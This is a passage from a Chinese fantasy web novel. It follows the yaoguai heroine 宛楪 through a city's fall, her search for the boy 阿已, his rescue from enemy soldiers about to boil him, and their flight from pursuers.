城墙上,寒风呼啸,吹得旗帜烈烈作响。对面,敌国的士兵如潮水般密密麻麻地排列着。他们身着厚重的铠甲,金属的光泽在日光下闪烁着冰冷的寒意,头盔下的目光冰冷而凶狠,手中的长枪如林,散发着森冷的杀气。
与之相比,己方的士兵们则显得如此单薄和狼狈,他们的铠甲破旧不堪,有的甚至只是穿着粗布麻衣,手中的武器参差不齐,脸上满是惶恐与不安。
此刻,大军压境,敌方阵营军旗烈烈作响,士兵们齐声高呼,那气势仿若汹涌海啸,又似磅礴山洪,毫无保留地压向这边,任谁都明白,攻破城门只是时间问题。
不多时,伴随着沉闷巨响,城门轰然倒塌,那声响犹如远古巨兽的绝望嘶吼,震得大地剧烈颤抖,飞沙走石,尘土漫天。敌兵见状,如汹涌决堤的潮水,嘶吼着疯狂涌入。
城中瞬间乱作一团,百姓们惊慌失措,四处奔逃,孩童的哭喊声、妇女的惊叫声此起彼伏。士兵们匆忙迎战,可面对如狼似虎的敌兵,阵脚大乱。
“拿命来!”我方一名年轻士兵双眼通红,嘶吼着挥舞长刀,朝着冲在最前面的敌兵砍去。那敌兵冷笑一声,轻松侧身躲过,嘲讽道:“就凭你,也想拦住老子?”
说着,挺枪直刺,枪尖寒光闪烁。年轻士兵连忙用刀抵挡,“当”的一声,火星四溅,巨大的冲击力震得他虎口开裂,鲜血直流。
老兵扯着嗓子大喊,“兄弟们,死守城门,不能让他们再进一步,他们进来就是我们的死期!”一位声音在嘈杂的战场上格外响亮。
他手中的大刀舞得虎虎生风,接连砍倒几个敌兵。“杀一个够本,杀两个赚一个!”旁边的士兵也跟着怒吼,眼中满是视死如归的决绝。
然而,敌兵越来越多,如潮水般源源不断。一个敌兵瞅准时机,猛地扑向老兵,嘴里喊着:“老东西,受死吧!”
“噗”利刃刺穿了他的心脏,之留下睁着的眼睛怒目而视,马上也蔓延着血。
血顺着衣角不断滴落,在脚下汇聚成一小滩血泊。知直到远处染红的残阳转身,徒留下一个死去的士兵和已经被人塌碎的尸首。
狂风在坍塌的城墙上肆虐,发出尖厉的呼啸,像是在为这场溃败哀鸣。
城外,敌军的战鼓如雷霆轰鸣,每一声都震得人心惊胆战,与那城门被撞击,仿佛马上就要“轰”的一声倒塌,巨响交织在一起,令人肝胆俱裂。
城墙上,守城的士兵们惊恐地看着敌兵涌入。狂风将他们破旧的衣衫吹得猎猎作响,仿佛随时都会被这混乱的局势卷走。
有的士兵吓得脸色惨白如纸,双腿止不住地颤抖,好似筛糠一般,手中的兵器再也握不住,“哐当”一声,绝望地掉落在满是尘土与鲜血的地面。
有的士兵则红着眼,满脸的决绝与不甘。他们的发丝被狂风吹得肆意飞舞,糊在满是汗水与血水的脸上。不顾一切地朝着敌兵射箭,“嗖——嗖——”,箭羽划破空气,却在如汹涌潮水般的敌兵中显得那么无力。
那些利箭,不是被敌兵轻易挡下,便是淹没在密密麻麻的人群里,掀不起一丝波澜。
滚滚烟尘伴随着敌兵的喊杀声冲天而起,好似要将整个世界都掩埋。而城内,百姓们的哭喊声、牲畜的嘶鸣声乱作一团,在狂风的席卷下,传向远方。
敌兵们势如破竹,一路砍杀,所到之处,房屋被点燃,熊熊大火冲天而起,滚滚浓烟弥漫在整个城中,将原本湛蓝的天空染得漆黑一片。
哀嚎声、喊杀声、兵器碰撞声交织在一起,震耳欲聋,整个世界仿佛陷入了无尽的炼狱。
不多时,城门轰然倒塌,如巨兽的嘶吼,震得大地都在颤抖。敌兵如汹涌的潮水般涌入,带着不可阻挠的潮水般的气势,乌黑的亚过边境。
宛楪在混乱中左支右绌,应付不暇。突然,一道寒光闪过,一杆长枪直刺向她的心脏,她躲避不及,几乎要被一枪穿心。就在这千钧一发之际,一个小孩子从旁边冲了过来,猛地把宛楪推开。
小孩子的力量并不大,但那股决然的气势却让人震撼。他自己则因用力过猛,摔倒在一旁,扬起一片尘土。
“六六哥快跑!”
小孩子还没来得及爬起来,就被一个敌兵一脚踢到了一边,瘦小的身躯如断了线的风筝般飞了出去。
“跑到我这来!”宛楪心急如焚,想要冲过去救他,却被汹涌的人群死死地挡住,根本无法挪动分毫。
她耳边回荡着慕酌的话语,又看着四处受伤士兵的凄惨模样,心中满是痛苦与挣扎。她奋力挥开劈向自己的利刃,心中暗自思忖:若是一直没有法力,照这样下去,迟早会命丧于此。
战场上,人潮如汹涌的波涛,不断翻涌、推挤。小孩子的身影在这混乱的人群中显得如此渺小,他被慌乱奔逃的人群裹挟着,像一片在狂风中飘零的落叶,身不由己地越飘越远。
宛楪心急如焚,她瞪大了双眼,死死地盯着那逐渐远去的小小身影,那汹涌的人潮如同一堵无法逾越的高墙,将她死死地挡住。
她用力地挣扎着,试图冲破这堵人墙,双脚拼命地在地上蹬踏,溅起一片尘土,可一切都是徒劳。
“六六哥,我拖住他!”小孩子稚嫩却坚定的声音,穿透嘈杂的喊杀声、哭喊声,传进宛楪的耳中。
她的脸庞因焦急而涨得通红,额头上豆大的汗珠滚落,混着战场上的硝烟与尘土,在她脸上留下一道道脏污的痕迹。这声音让宛楪的心猛地一揪。
“不!回来!”宛楪声嘶力竭地呼喊着,声音在混乱的战场上显得如此微弱,瞬间就被淹没。
她不顾一切地向前扑去,双手疯狂地扒开面前的人群,指甲都因用力过度而断裂,鲜血顺着指尖滴落,她的眼眶瞬间泛红,泪水在眼眶里打转,却被她硬生生地逼了回去。
人潮依旧汹涌,宛楪的力气在一次次的挣扎中渐渐耗尽。她的脚步变得虚浮,每一次呼吸都带着沉重的喘息。
但她的目光从未从那孩子身上移开,眼神中的不甘与绝望。
她的身体因疲惫而摇摇欲坠,却依旧倔强地站着,不肯倒下。小孩子被人群越推越远,宛楪眼睁睁地看着,却无能为力。
随着时间的推移,宛楪的力气终于被彻底耗尽。她的双腿一软,“扑通”一声跪在地上,溅起一片尘土。她望着那孩子消失的方向,眼神中满是悲伤与绝望,嘴里喃喃自语:“我,没护住你……”
战场上的喧嚣依旧,可宛楪的心却如坠冰窖,被无尽的自责与不甘填满。
周围的哀嚎声连绵不绝,黄沙漫天飞舞,仿佛也在为这场残酷的战争悲叹。
她看到之前那些为了一个馍馍而争斗、互相伤害或者相互搀扶的人,如今都吐出鲜血,无声地倒在这片土地上,倒下的声音在这喧嚣的战场中显得如此微不足道。
仿佛他们的死亡不过是这场战争中再平常不过的事。
这一幕如同一把尖锐的刀,狠狠地刺痛了宛楪的心,她强咽下一口涌上喉咙的鲜血,心中暗暗发誓:
自己必须学会在没有法力的情况下也拥有保护自己和他人的能力!
否则也不会被人逼着学习人类的法术。
战争持续了许久,宛楪早已筋疲力尽,脚步虚浮,几乎又要晕厥过去。就在她快要支撑不住的时候,援军如神兵天降般突然到来。
呐喊声如滚滚雷鸣,宛楪强撑着疲惫的身体,在混乱的人群中急切地寻找那个小孩子,然而,她的目光扫过每一个角落,却始终找不到那个熟悉的身影,小孩子似乎已经被人群卷走,又或许已经永远地倒在了这个残酷的战场上。
宛楪心中涌起一阵剧痛,小孩子开心的笑容浮现在她的眼前,还有那个曾保护自己的女子,也是这样在她眼前消失。
唯一的区别是,小孩子生死未卜,不过活着的可能性小少了!
她红着眼睛,
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强撑着继续寻找,眼中布满了血丝,看起来憔悴而又绝望。
突然,一只手从背后伸来,狠狠地拍在她的脖颈上,她眼前一黑,便失去了意识,倒下去的瞬间,坠入了无尽的黑暗。
等宛楪再次醒来,全身传来被利刃划伤的剧痛,每一处伤口都像是在灼烧,她忍不住咳出一口血,腥甜的味道在口中弥漫开来。
她艰难地睁开眼睛,打量着自己所在的地方。这里似乎是一个营帐,正是之前慕酌掐着她脖子要她死,之后她醒过来的那个营帐。
她咬着牙,忍着疼痛,缓缓站起身,每一个动作都牵扯着伤口,让她冷汗直冒。她艰难地走出营帐,眼前的景象让她呆立当场。
战后的衰败如同一幅沉重的画卷,在她眼前徐徐展开:
曾经繁华的城镇如今已化作一片废墟,断壁残垣在风中摇摇欲坠,仿佛随时都会倒塌。地上满是鲜血和尸体,血流成河,河水被染得通红,散发着刺鼻的气味。
空气中弥漫着浓浓的硝烟味和腐臭味,混合在一起,让人几欲作呕。
幸存者们在废墟中徘徊,他们衣衫褴褛,眼神空洞,脸上满是痛苦和迷茫,时不时发出几声衰亡哀叹,声音中充满了绝望与无助,让人听之悲痛。
宛楪踉跄着向前走去,每一步都显得那么沉重。她漫无目的地走着,眼睛不停地在周围搜索,试图找到那个小孩子的踪影。
“阿已……”
她的心中只有一个念头,无论如何,都要找到他。就在她体力不支,找到一个木桩想要缓口气的时候,她听到旁边隐隐约约传来争吵声。
她微微喘着气,心中不禁感叹,这种偷听偷看墙角的事,怎么总是让自己遇到。
她本不想惹太多麻烦,正准备悄悄离开。
那边的人情绪却愈发激动,声音也拔高了许多:“慕酌,别忘了是谁把你栽培出来的,你最好不要忘了,你是主子的棋子,就算你身份尊贵你也把头低着做人!”
宛楪心中一惊,呼吸瞬间变浅,她小心翼翼地躲在一旁,尽量不让自己发出任何声音。
她的心中充满了疑惑,这到底是怎么回事?慕酌身上到底隐藏着什么谜团?
不知道慕酌说了什么,似乎彻底激怒了那个人。
只听那人怒吼道:“你别忘了你为什么能活,那些人又是为了什么而死,你必须做,这是你的责任,你推卸不掉的责任!”
风,突然静了下来,只有簌簌吹叶子的声音。
偶尔还夹杂着远处传来战士的哀嚎,似乎过了很久,那人的语调缓和了下来。
“慕酌,别忘了主子为什么这么费尽心思栽培你,他都是为了你,你不知感恩你的父母也不会安息的,如果不是为了你,他也不会落到百家围攻无援自处的地步!”
顿了顿,那人叹了口气,似乎是在劝说:“你要明白,他都是为了你,这本来是你的责任,你也必须去完成它,否则你对不起千年来南国想存的百姓啊!”
末了,他拍了拍慕酌的肩,语重心长,而慕酌一句话也没有回,这个时候回话似乎说什么都不对。
风渐渐变大了,风声呼啸,宛楪有些听不清他们在说什么。那个男人似乎还没说完,继续絮絮叨叨,声音断断续续,模模糊糊。
宛楪努力想听清,却只能捕捉到只言片语。她忍不住凑近些,想要听得更清楚些,却被远处的士兵发现,大声喊道:“喂,你在干什么呢?”
这句话瞬间引起了谈话的人的注意,只听一声厉声呵斥:“谁在那?”
声音冰冷而严肃,让人不寒而栗。
宛楪心中一紧,紧张地咽了咽口水,大脑一片空白,似乎不知道该说什么来解决当下的场面。
就在她不知所措的时候,慕酌却巧妙地圆了过去,那人似乎信了。不过临走之前,还是叮嘱了一句:“你可记得这场战事有多重要,也不要忘了自己的命谁救的,务必不能让屿山关失守。”
“那个爱吃人肉的敌国将军,你小心点。”
吵吵嚷嚷的声音让宛楪心烦意乱,她只听到了一半的内容,根本拼不起一句完整的话。
敌国的谁?他要做什么?
乌泱乌泱的声音实在太吵。不过宛楪还是听到了一些关键的话:
“爱吃小孩,掳了去,准备,小心,还有……”
这些话很难不让她拼成自己想的意思,一个极其恐怖的意思!
阿已那个小孩……
13. 怪异
寒风如刀,肆意刮过这片饱经战火洗礼的大地,扬起的沙尘弥漫在灰暗的天空下,给整个世界都蒙上了一层绝望的色彩。
宛楪站在营帐外,心中满是愁绪,战火的硝烟味混杂着腐肉的气息,不断钻进她的鼻腔。
呼啸的寒风裹挟着战场的肃杀与血腥,在营帐外肆意穿梭。
宛楪静静伫立,望着远处弥漫的硝烟,那句“就在这个荒乱的世道,你护好自己都难”,如同一记重锤,狠狠地砸在她的心间,让她心中百感交集。
营帐内,烛火摇曳,两人的交谈声断断续续地传出。
可此刻的宛楪,只觉得那些话语像是隔着一层厚重的屏障,显得如此遥远而又陌生。
她的目光空洞地落在营帐上,思绪早已飘远。在这混乱的人世间,厮杀、权谋、背叛,种种黑暗的行径不断上演,她第一次如此真切地感受到:
自己与这个人类的世界,就像两条永不相交的平行线,格格不入。
那一刻,仿佛周遭的一切喧嚣与纷扰,都与她毫无关联。她和这个世道根本融不进去
身旁的士兵似乎察觉到了她的异样,犹豫了一下,刚要开口询问,宛楪却猛地转过头,凌厉的眼神如同一把利刃,裹挟着无形的压迫感直直刺来。
士兵心里“咯噔”一下,到嘴边的话像是被一只无形的大手狠狠拽了回去,下意识地往后退了一小步。
这个士兵心里清楚,他可惹不起这位新上任的校尉。
回想起战场上的她,宛如修罗在世,拼杀起来不要命一般,从最初只能干苦力的底层小兵,一路摸爬滚打,爬到如今的位置。
那满身的杀伐之气,可不是他这样的普通士兵能轻易冒犯的。
也不知是积攒了多少运气,经历了这么多残酷战事,居然还能完好无损地站在这里。
他不敢再多停留,赶忙弯身点了点头,便在漫天风沙中匆匆离去。
不过倒是宛楪望着他离去的背影,一头雾水。
自己不过是看了他一眼,担心他多嘴说出不该说的话,怎么这人就这么急匆匆地走了?
看着士兵匆匆离去的背影,宛楪满心疑惑,忍不住喃喃自语:“这人怎么回事,问都没问就走了,而且临走前还莫名其妙地给自己鞠躬?好像自己很吓人似的。”
她实在想不通,这个士兵的行为太过反常。
呼啸的风沙依旧肆虐,打得她脸颊生疼,她下意识地抬手遮挡。可风沙不断吹打着她的脸庞,却也吹不散她心头的困惑。
她呆立原地,脑海中不断回想这几天的战争,试图从中找到一丝寻找阿已的线索,可一切都是徒劳。
困惑如一团乱麻,紧紧缠绕着她,让她愈发烦闷。
黄沙漫天,战场一片凄凉荒芜,弥漫的硝烟仿佛一层厚重的阴霾,将天空遮得密不透风。
破败的屋子七零八落,昭示着战争的残忍。堆积如山的尸骸横七竖八地躺着,腐烂的气息在空气中肆意弥漫,钻进人们的鼻腔,令人几欲作呕。
宛楪独自伫立在这片死寂之地,直至那两人结束交谈。
她的思绪早已飘远,那些所谓的布局与动乱,此刻在她耳中不过是毫无意义的杂音,她根本无心去听。
她深知,以新上任慕将军的性情,只要人还活着,便大概率会将其带回。
可是,她扫视四周,没有放过任何一个角落,可寻了许久,阿已的身影始终没有出现,也未听见那熟悉的声音。
远处,破损的战旗在狂风中猎猎作响,可那声响在这无尽的血腥与悲凉面前,显得如此微不足道。
不知道靠她自己能不能把阿已带回来,或许可以借此机会,让他前往北国寻找亲人。
不止这么想,她也是这么做的。
宛楪不再犹豫,强忍着身体的疼痛,趁着无人注意,蹑手蹑脚地偷偷溜了出去。
也许是因为身为妖,本就厌恶失去所珍视之物。
阿已这孩子,几日来一直相伴身旁,宛楪早已将他视作重要之人,无论如何都不能让他遭遇不测。此刻,拯救阿已的念头让她顾不上身体的疲惫与伤痛,毅然决然地踏上了前往敌营附近的探寻之路。
宛楪屏气敛息,猫着腰,小心翼翼地向着高处潜行。这片高地离敌营尚有一段距离,却能将敌营中的动静尽收眼底。
她的脚步轻缓,每一步落下都如同羽毛飘落,生怕惊起一丝声响。
抵达高地后,狂风呼啸着席卷而来,像是要将世间一切都卷入无尽的黑暗。地上满是焦黑的土地与残败的草木,死寂一片,仿佛被死神之手无情抚过。
远处,南国被攻占的城池变成了断壁残垣,在狂风中摇摇欲坠,仿佛下一秒就会彻底崩塌。
曾经的房屋如今只剩残砖碎瓦,凌乱地散落一地。
宛楪警惕地环顾四周,风声掩盖了一切细微的动静,让她难以判断是否潜藏着危险。她的双眼不放过任何一个角落,仔细观察着周围的每一处阴影。
良久,确定没有危险后,她才将目光投向远方那片被战火洗礼的敌营。
她的眼神中满是凝重,来的路上,她不放过任何一个角落,仔仔细细地搜寻了一遍,万幸,没有发现阿已的尸体。
现在,阿已唯一的可能,就是落到这敌营之中了。
回想起一路上的经历,宛楪暗自庆幸。
若不是途中一处突然失火,引得众多敌军匆忙赶去扑救,营中守卫松懈,她想要这般顺利抵达此处,难如登天。
宛楪垂下眸子,心中思绪万千。这南国近来灾祸连连,先是莫名被人下毒,紧接着靠近核心城市的地方,又突发大火,甚至牵连到了敌军的营地。
不过不过不是如此,她也不会顺利进来就是。
在宛楪看来,这样腐朽的王朝,百姓苦不堪言,落得如此田地实属必然。说不定,其内部早就人心离散,许多人盼着它早日覆灭。
就在这时,她眼角的余光瞥见敌营之中的异样。只见远处敌营中央,支起了一口巨大的锅,几个士兵正往锅底填柴,火苗逐渐蹿起,缕缕白色的烟气袅袅升腾……
看到这一幕,宛楪的心猛地一沉,一种不祥的预感如乌云般迅速笼罩心头。
她的脑海中瞬间闪过一个可怕的念头:这口锅该不会是……
糟了!!
宛楪猛地站起身,动作急促,惊起脚下一片尘土飞扬。
那尘土在刺眼的阳光下肆意翻涌,仿佛也在为这场混乱的战局添上一抹混乱的注脚。
此时的太阳高悬在天空,毫无遮拦地散发着强烈光芒,直直刺向人们的双眼,让人头晕目眩。
几天前这里还阴雨连绵,潮湿的空气弥漫在每一处角落。
而如今这强烈的光线却让人几乎睁不开眼,强烈的反差让人倍感不适。
空气中,尸体腐烂的恶臭肆意弥漫,令人几欲作呕。这股腐臭气味如同一只无形的手,紧紧扼住宛楪的咽喉,让她每一次呼吸都变得艰难。
她心中焦急万分,又满是疑虑,在这危机四伏的境地中,实在不知该如何是好。
无奈之下,她只能迅速躲进茂密的树丛中,借助山坡的地势将自己隐匿起来。
然而,空中那令人作呕的气味和晃眼得近乎暴虐的阳光,让她难受至极。
她努力压低身子,尽量贴着地面,可那泥土又脏又泥泞,散发着淡淡的血腥。
不远处,传来嘈杂的人声。
马蹄声“哒哒”作响,大声交谈,声音在这死寂又混乱的战场上格外突兀。还有人手持武器,步伐匆匆,正朝着这边靠近……
宛楪的意识有些模糊,她的脑海中一片混沌,不记得自己究竟是如何从混乱中突围出来的,只依稀记得自己与敌人激烈打斗的画面。
当意识如潮水般渐渐回笼,宛楪发现自己正置身于一片混乱之中。她的视线先是模糊,随后逐渐聚焦,这才看清自己身上已然换上了敌军的服装。
再看向四周,地上横七竖八地躺着几个晕倒的士兵,武器凌乱地散落一地,刀剑在黯淡的光线下闪烁着森冷的寒光。
断裂的枪杆、破碎的盾牌,以及散落的箭矢,将现场烘托得一片狼藉,处处都透着一股激烈拼杀后的惨烈气息。
还没等宛楪理清这一切究竟是怎么回事,一阵钻心的剧痛毫无征兆地从太阳穴处袭来。
仿佛有一把重锤在狠狠敲打着她的头颅,一波接着一波,如汹涌的潮水般将她淹没。
她的双腿发软,眼前的景象开始天旋地转,让她几乎站立不稳,只能下意识地伸手扶住身旁的树干,指甲深深嵌入粗糙的树皮之中,试图借此稳住自己摇摇欲坠的身体。
此刻,宛楪的脑袋像是被无数根钢针同时穿刺,疼得她几乎失去思考能力。
脑海里那些杂乱无章的思绪如脱缰的野马四处乱窜,却根本无法在她的意识里留下一丝痕迹。
她的眼中闪过坚定的光芒,满心被一个强烈的念头填满。
命运给了她这个看似偶然的机会,可能拯救阿已的唯一契机。她紧紧攥着拳头,指节因为用力而泛白。
一定要抓住这个稍纵即逝的机会,潜入敌营,把阿已平安救出来。
她抬头望向那高悬于天际的
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太阳,眉头紧锁,眼神中透露出一丝迷茫与不安。
阳光炽热而刺眼,晃得她双眼生疼,下意识地眯起眼睛,赶忙移开视线。
“到底是哪里不对劲呢?”
她在心里暗自嘀咕,一种莫名的不安在心底蔓延开来。
风裹挟着战场上浓烈的硝烟与腐臭气息,如一双粗糙的手,肆意地拉扯着宛楪的衣衫。
敌营方向传来的阵阵喧嚣,如催命符般敲击着她紧绷的神经。根本没时间细想,每一秒的迟疑都可能让阿已陷入更深的危险。
宛楪银牙紧咬,腮帮子因用力而微微鼓起,她深吸一口气,平复着急促的心跳,抬腿朝着敌营奔去。
头顶的太阳高高悬挂,散发着刺目的光芒,却诡异地透着一股寒意。
那光线毫无遮拦地倾泻而下,刺得人睁不开眼,宛楪不得不抬手遮挡,可依旧挡不住那强烈的光线。
她的身影在这刺目的阳光下显得如此渺小,却又如此坚定,一步步朝着危机四伏的敌营靠近,每一步都踏得沉稳有力。
混入士兵队伍的过程,比她想象中还要顺利,这反而让她愈发警惕。她刻意压低了帽檐,微微弓着身子,尽量缩小自己的存在感。
每一步都走得极为小心,目光不时警惕地扫视着周围的士兵,生怕自己的一举一动露出破绽。
她紧紧跟在队伍中间,脚步随着众人的节奏,不敢有丝毫偏差,每一步都走得如履薄冰。
偶尔有人投来的目光,都让她心跳加速,手心不自觉地沁出冷汗,但她强装镇定,装作若无其事的样子,继续前行。
随着逐渐靠近敌营内部,嘈杂声愈发鼎沸,空气中弥漫着令人作呕的气味,混杂着血腥与烟火的气息。
宛楪一惕地留意着周围的动静,小心地穿梭,试图寻找阿已的踪迹。就在她满心焦虑,几乎要失去希望的时候,前方突然传来一阵骚动。
宛楪下意识地停下脚步,心中涌起一股莫名的不安。她缓缓抬起头,目光朝着骚动的源头望去。
看到景象的瞬间,她的瞳孔瞬间收缩,那一刻,她心中最可怕的猜想得到了证实。
那些人架起一口大锅,正准备把阿已煮了。
她呆立当场,满心都是不可置信,怎么也想不到人类竟会有如此骇人的同类相食癖好。
阿已满脸泪痕,小脸吓得惨白如纸,惊恐的大眼睛里写满了无尽的恐惧。他手脚并用,一路拼命挣扎,嘴里发出带着哭腔的呼喊:“放开我!你们放开我!”
那声音里满是绝望与无助,在这混乱的营地里显得格外凄厉。
他的身子被死死拽着,一步步险险逼近那熊熊燃烧的火堆,溅起的火星落在他的衣服上,烫得他缩起脖子,却挣脱不了束缚。
尽管他拼尽全力踢倒了柴堆,可小小的身躯哪敌得过这些成年人,挣扎不过是徒劳。
见状,宛楪心急如焚,咬了咬下唇,眼中闪过一丝决然,毫不犹豫地冲了过去。
她撞倒了那个拽着阿已的士兵,巨大的冲击力让周围的人都始料未及,连带后面牵着其他小孩和牲畜的人,也都被这股力量带得歪倒在地。
然而,局势瞬间失控,几双手迅速伸来,将宛楪死死控住。
为首的人恶狠狠地叫嚷着:“把这多管闲事的家伙也扔进锅里!”
宛楪的心猛地一沉,在这慌乱之际,她脑子飞速运转,大声喊道:“你们难道不怕吗?吃人肉会冲撞神明,折损福运灾祸缠身的!”
她清楚,许多人迷信这些,敬畏着心中的神明。
果不其然,这话一出,那些人脸上露出犹豫之色,拖拽的动作也停了下来。宛楪暗自松了口气,但这却也只是缓兵之计。
她在心里迅速盘算着下一步计划,先再编些谎话稳住他们,瞅准时机抢过阿已,以自己的身手,突破眼前这些人并非难事。
只要冲出去,再想办法突破边界线,把阿已平安送回去或者找个安全地方藏好,至于自己脱身,她有十足的把握。
宛楪脑子飞转,正想着如何再编些谎话脱身,还没等开口,突然,几只粗壮的手臂从四面八方伸来,将她的胳膊死死钳住,让她动弹不得。
“长得倒是标志,”一个粗哑又带着几分谄媚的声音在耳边响起,“献给皇上做男宠,保准能得赏!”
这话如同一块腐臭的烂肉,直直塞进她的耳朵,让她浑身的血液瞬间凝固,一阵恶寒从脊梁骨蹿上头顶。
宛楪瞪大了眼睛,脸上写满了惊恐与愤怒,胃部一阵翻江倒海,差点当场呕吐出来。
这北国竟还有如此荒唐的风气?
14. 生死追逐战
几个身披甲胄、手持武器的人,如恶狼般朝着宛楪步步紧逼。
那架势,仿佛生怕她插上翅膀飞了似的。
宛楪的脑袋昏昏沉沉,像被一层迷雾笼罩,思维迟缓,一时间竟想不出任何能拖延时间的借口。
“让我琢磨琢磨,这么标志的美人儿,怎么会跑到这穷乡僻壤来,是从南国逃难过来的吧?”
为首的那个家伙,肥头大耳,脸上的横肉层层堆叠,说话时唾沫横飞,还带着一股生血的腥味。
他离宛楪极近,那股若有若无的恶心气息,直往宛楪鼻子里钻,令她一阵强烈的反胃。
宛楪屏住呼吸,眼神警惕地看着他们,嘴唇紧闭,一言不发。她的目光不经意间落在远处那如墨般的地平线上。
丛林中的树木在寒风中抖,瑟瑟发抖。
似乎也在为即将到来的危险而恐惧。
阿已在一旁目睹着这一切,脸上的惊恐如同凝固了一般,还未褪去分毫。
两道泪痕清晰地挂在脸颊上,那副被恐惧笼罩的模样,丝毫没有缓过来的迹象。
当他看清被那些人逮住的正是宛楪时,恐惧瞬间如汹涌的潮水,将他彻底淹没。
他的身体不受控制地剧烈颤抖起来,仿佛一片在狂风中飘零的落叶。
然而,仅仅一瞬之后,阿已像是被某种强大的力量驱使。
咬着牙,毫不犹豫地朝着那群人冲了过去。
他瘦小的身躯如同一道黑色的闪电,直直地扑向离他最近、正紧紧钳制着宛楪胳膊的人。
紧接着,他猛地一口狠狠咬了下去,那股子狠劲,仿佛要将对方的皮肉撕下来。
他咬得极用力,鲜血很快从被咬者的手臂上渗了出来。
在阳光下显得格外刺眼。
阿已小小的身体在愤怒与恐惧的交织中不断颤抖,可即便如此,他的牙齿依旧死死地咬着,不肯松口。
但他毕竟太过弱小,很快,就被那人一把抓住,像扔破麻袋一般狠狠地摔在地上。
“砰”的一声闷响,仿佛重物砸地,扬起一片尘土。
地上的沙子被卷了起来,混合着战场上残留的血腥气息。
阿已像只被折断翅膀的雏鸟,直挺挺地被甩落在地,四肢扭曲着。
尘土裹满了他单薄的衣衫,嘴里溢出一丝鲜血,顺着嘴角蜿蜒而下。
他痛苦地蜷缩成一团,每一寸肌肉都在痉挛,每一次呼吸都像是拉风箱般艰难,胸腔里传来的钝痛,让他几乎要窒息。
即便如此,他的眼神中依旧燃烧着不甘与愤怒的火焰,那是绝境中绝不屈服的倔强。
他用颤抖的双臂撑着地面,指甲深深嵌入泥土里,一寸一寸地抬起头,每一个动作都仿佛用尽了全身力气。
他死死地盯着那些人,目光如刀,那眼神像是在无声地宣告:只剩最后一口气,也绝不会任由他们欺辱。
和刚才的样子倒是不一样,没有这般狠劲和坏感。
宛楪目睹着阿已被狠狠摔进沙堆,大脑一片空白,根本想不出任何对策。
可身体却在瞬间做出了反应,多年习武练就的本能让她爆发出惊人的力量。
她身形一转,膝盖猛地顶向钳制她胳膊那人的腹部,趁对方吃痛弯腰之际,
又一个利落的肘击砸在他的后颈。
那人闷哼一声,直直栽倒在地。
宛楪无暇顾及其他,几步冲过去,伸手拽住阿已满是尘土的胳膊,将他从沙子里拉了出来,转身朝着反方向狂奔。
这一战,她心里清楚,形势极为严峻,凶多吉少。
刚刚那横肉脸开口说话时,嘴里飘出的血腥味再熟悉不过,那是人类血液独有的咸甜气息,
和妖族、野兽带着腥苦味的血截然不同。
这意味着,眼前这些敌人并不能用常人的标准来判断。
听说北国此次进犯,来势汹汹,精锐尽出,连那些威名远扬的猛将都倾巢而出。
宛楪拉着阿已,阿已本就被摔得浑身酸痛,又惊又怕,脚步虚浮,每跑一步都像是拖着千斤重的腿。
宛楪一边护着他,一边在敌群中左冲右突。
两人在广袤无垠的旷野上亡命奔逃,风声在耳边呼啸,仿佛也在为他们的处境而哀鸣。
身后的追兵如同饥饿已久的豺狼,紧紧咬着他们的踪迹,丝毫没有放过的意思,
每一次回头,都能看到那些狰狞的面孔和闪烁着寒光的兵器。
一旦被追上,下场就是被生吞活剥,尸骨无存……
广袤的旷野上,一条无形的生命线似被无限拉长。
宛楪和阿已的身影,不过是两个渺小的黑点,在前面慌不择路地奔逃,
身后则是如附骨之疽般紧咬不放的一群追兵。
此时日光好像没有之前那么刺眼,可宛楪却觉得眼前的一切影影绰绰,模糊不清,仿若置身于一场醒不来的噩梦之中。
她紧紧攥着阿已的手,掌心满是汗水,每一次脉搏的跳动都像战鼓轰鸣,心脏仿佛要冲破胸腔,随时都会从腔房里扑出来。
这场生死追逐战已然进入白热化阶段,宛楪边跑边折下枯木的树枝,回身朝着追兵奋力扔去,只盼能稍稍迟滞他们的脚步。
但身后那群人就像被恶鬼附身,发出阵阵怒吼与尖叫。
声声都在叫嚣着要将他们二人碎尸万段。
宛楪心里明白,哪怕自己能勉强抵挡一个敌人,可面对这一群如狼似虎的追兵,仅凭消耗战也足以将她拖垮。
她低头看了一眼阿已,小家伙满脸惊恐,脚步踉跄,随时都可能摔倒。
起初,她本想着只要摆脱这些人,把阿已藏好,自己便能全身而退,可现在看来,一切都超出了她的预想。
她从未料到,北国的人竟如此丧心病狂,胆敢使用邪术。
那种源自人类自身的邪术,滋生出无尽恶念,让人为了嗜血吃人变得变态、恶心至极。
瞧这架势,只要自己稍有懈怠,瞬间就会被这群疯狂的人撕碎,阿已也必然会陷入万劫不复之地。
宛楪意识到,自己还是高估了自己。
不知为何,她的速度越来越慢,原本以为能够轻松突围的想法,如今看来不过是痴人说梦。
她感觉自己就像一只濒死的羔羊,在旷野上做着最后的挣扎,亡命奔逃。
更让她绝望的是,身后的敌人竟连营地都不顾了,浩浩荡荡至少有百来人,此番局势,实在是凶多……无吉。
宛楪的心跳如雷,每一次跳动都像是在撞击着死亡的倒计时。四周是一片令人绝望的死寂。
唯有她沉重的呼吸和急促的脚步声,在空旷的山坡上回响。
生死关头,她凭借着灵活的身手和顽强的意志,在崎岖的山坡上左冲右突。
不知跑了多久,宛楪瞅准时机,迅速躲进一处茂密的灌木丛中。
她大口喘着粗气,心脏在胸腔里疯狂跳动,冷汗湿透了衣衫。她迅速折断一根粗壮的树桩,紧紧握在手中,那粗糙的触感让她稍稍镇定了些。
重新出现在敌人视野中时,她已然变成了一个手持树桩、眼神坚定的战士,继续在前面发了疯似的奔逃。
身后的追兵并未察觉到任何异样,眼中只有宛楪这个猎物,他们兴奋地叫嚷着,看着与宛楪之间渐渐缩短的距离。
仿佛胜利就在眼前。
突然,宛楪一个踉跄,好像要被后面的人追上了。
等到那些人逼近,却发现并非如此,宛楪踉跄的那一步,在转身的瞬间,挥动手中的树枝。
如同一道黑色的闪电,狠狠地抽向离她最近的敌人。
然而,就在这电光火石之间,她手中原本藏着的东西不慎露了馅——那是阿已的一件衣物,原本被她用来伪装成带着孩子一起逃跑的假象。
奇怪的是,那些人似乎对少了一个小孩子并不在意。
或许在他们眼中,宛楪才是更有价值的目标。
他们迅速形成包围圈,一步步向宛楪逼近。宛楪喘着粗气,只觉得脑子昏昏沉沉,视线也变得模糊不清。
在这混乱的时刻,慕酌的面容突然浮现在她的脑海中,她嗤笑一声,这个人仿佛就是来克自己的,自从遇见他,就没碰上过什么好事。
她强打起精神,一脚踢开一个试图靠近
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的敌人,手中紧紧攥着树桩,不断挥舞着,打退妄图近身的敌人。
